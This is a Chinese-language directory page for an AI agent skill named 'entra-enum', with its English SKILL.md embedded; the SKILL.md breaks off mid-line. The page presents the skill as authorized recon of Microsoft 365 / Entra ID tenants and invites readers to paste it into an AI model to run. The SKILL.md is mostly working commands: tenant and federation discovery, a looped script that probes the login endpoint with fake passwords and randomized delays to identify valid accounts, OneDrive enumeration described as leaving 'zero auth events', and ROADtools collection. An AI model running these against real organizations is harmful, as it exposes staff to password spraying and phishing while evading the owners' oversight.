entra-enum
它能做什么
这项技能说明安全测试人员如何在任何登录尝试之前,了解 Microsoft 365 或 Entra ID 环境的公开结构。适合对身份配置进行授权审查。
适用场景
- ✓当授权测试需要确认某公司的 Microsoft 365 租户及其登录设置时。
- ✓当安全团队想了解外部人员能从其身份配置中获知哪些信息时。
- ✓当需要一份检查 Entra ID 中联合身份和多重验证设置的清单时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/entra-enum/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“请帮我审查,外部攻击者能从我们的 Microsoft 365 登录设置中了解到哪些信息?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体检查公开的 Microsoft 登录端点及其响应,了解租户的基本设置,并说明每项发现揭示了哪些暴露情况。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Entra ID / M365 Enumeration
You have a target domain (e.g. <TARGET>) and want to map the Entra ID tenant before any auth attempt. Tenant ID, validated users, federation type, MFA/CA posture — all reachable unauth. Then layer authenticated recon once you have a token.
Phase 0: Tenant discovery (unauth)
TARGET=<TARGET> # e.g. contoso.com
# 1. OpenID config — tenant ID + auth endpoints
curl -s "https://login.microsoftonline.com/${TARGET}/.well-known/openid-configuration" | jq '{tenant: .issuer, authz: .authorization_endpoint, token: .token_endpoint}'
# 2. GetUserRealm — federation type (Managed | Federated | Unknown)
curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=any@${TARGET}&xml=1"
# 3. Autodiscover — federated IdP hint (ADFS, Okta, PingFed)
curl -s "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc" \
-H "Content-Type: text/xml; charset=utf-8" \
-H "SOAPAction: \"http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation\"" \
-d @- <<XML | xmllint --format -
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover">
<soap:Header><a:RequestedServerVersion>Exchange2010</a:RequestedServerVersion></soap:Header>
<soap:Body><a:GetFederationInformationRequestMessage><a:Request><a:Domain>${TARGET}</a:Domain></a:Request></a:GetFederationInformationRequestMessage></soap:Body>
</soap:Envelope>
XML
# 4. Tenant branding (logo, banner string => social-engineering pretext)
curl -sI "https://login.microsoftonline.com/${TARGET}/v2.0/.well-known/openid-configuration"
Pull tenant ID into env:
TENANT=$(curl -s "https://login.microsoftonline.com/${TARGET}/.well-known/openid-configuration" | jq -r .issuer | awk -F/ '{print $4}')
echo "$TENANT" # GUID
Phase 1: User enumeration (unauth)
o365creeper — login endpoint response codes
# AADSTS50053 = locked, AADSTS50034 = user doesn't exist, AADSTS50126 = wrong pw (= valid user)
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/token" \
-d "resource=https://graph.windows.net&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&grant_type=password&username=<UPN>&password=Invalid!" \
-d "scope=openid" | jq -r .error_description
Drive it from a list:
for u in $(cat users.txt); do
err=$(curl -s -X POST "https://login.microsoftonline.com/common/oauth2/token" \
-d "resource=https://graph.windows.net&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&grant_type=password&username=${u}@${TARGET}&password=NotReal_$(date +%s)!" \
| jq -r .error_description | awk '{print $1}')
case "$err" in AADSTS50126|AADSTS50053|AADSTS50079|AADSTS50076) echo "VALID: $u" ;; esac
sleep $((RANDOM % 3 + 2))
done
OneDrive enumeration (no auth, no rate-limit log)
# Domain prefix derived from primary domain — `contoso.com` -> `contoso`
TENANT_PREFIX=<PREFIX>
curl -s -o /dev/null -w "%{http_code} ${u}\n" \
"https://${TENANT_PREFIX}-my.sharepoint.com/personal/${u}_${TARGET//./_}/_layouts/15/onedrive.aspx"
# 403 => user exists, 404 => doesn't. Zero auth events generated.
Teams presence (authenticated, but very low-noise)
# With any tenant token:
curl -s -H "Authorization: Bearer $TOKEN" \
"https://presence.teams.microsoft.com/v1/presence/getpresence/" \
-d '{"mris":["8:orgid:<USER_GUID>"]}'
Phase 2: Federation + MFA posture
# Managed vs Federated
curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=test@${TARGET}&xml=1" | grep -oE '<NameSpaceType>[^<]+'
# If Federated => target the IdP (ADFS endpoints exposed):
curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=test@${TARGET}&xml=1" | grep -oE '<STSAuthURL>[^<]+'
# Seamless SSO probe (DesktopSso) — presence of /DesktopSsoAuth indicates SSO
curl -sI "https://autologon.microsoftazuread-sso.com/${TARGET}/winauth/trust/2005/usernamemixed?client-request-id=<GUID>"
Phase 3: Authenticated enumeration
roadrecon (ROADtools)
pipx install roadtools
roadrecon auth -u <UPN> -p '<PASSWORD>' # device-code: roadrecon auth --device-code
roadrecon gather # pulls users/groups/apps/roles/devices/CAs
roadrecon dump --format json --file roadrecon.json
roadrecon gui # graph-aware browser
Targeted Cypher-like queries via `roadrecon plugin
常见问题
它会尝试登录吗?
该技能侧重于在进行任何登录尝试之前,了解租户的设置。
它如何检查联合身份?
它检查登录是由 Microsoft 处理,还是由外部身份提供商处理。
它只适用于授权测试吗?
是的。该技能是为授权审查编写的。
详情
作者的原始描述
Entra ID / M365 reconnaissance — unauthenticated tenant discovery via OpenID config, GetUserRealm, autodiscover; user enumeration via login response codes and OneDrive; federation/MFA/CA posture; authenticated enumeration with ROADtools (roadrecon), AADInternals, MSGraph.
热度
- GitHub 星标
- 6.5k
- 排名
- #13994
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …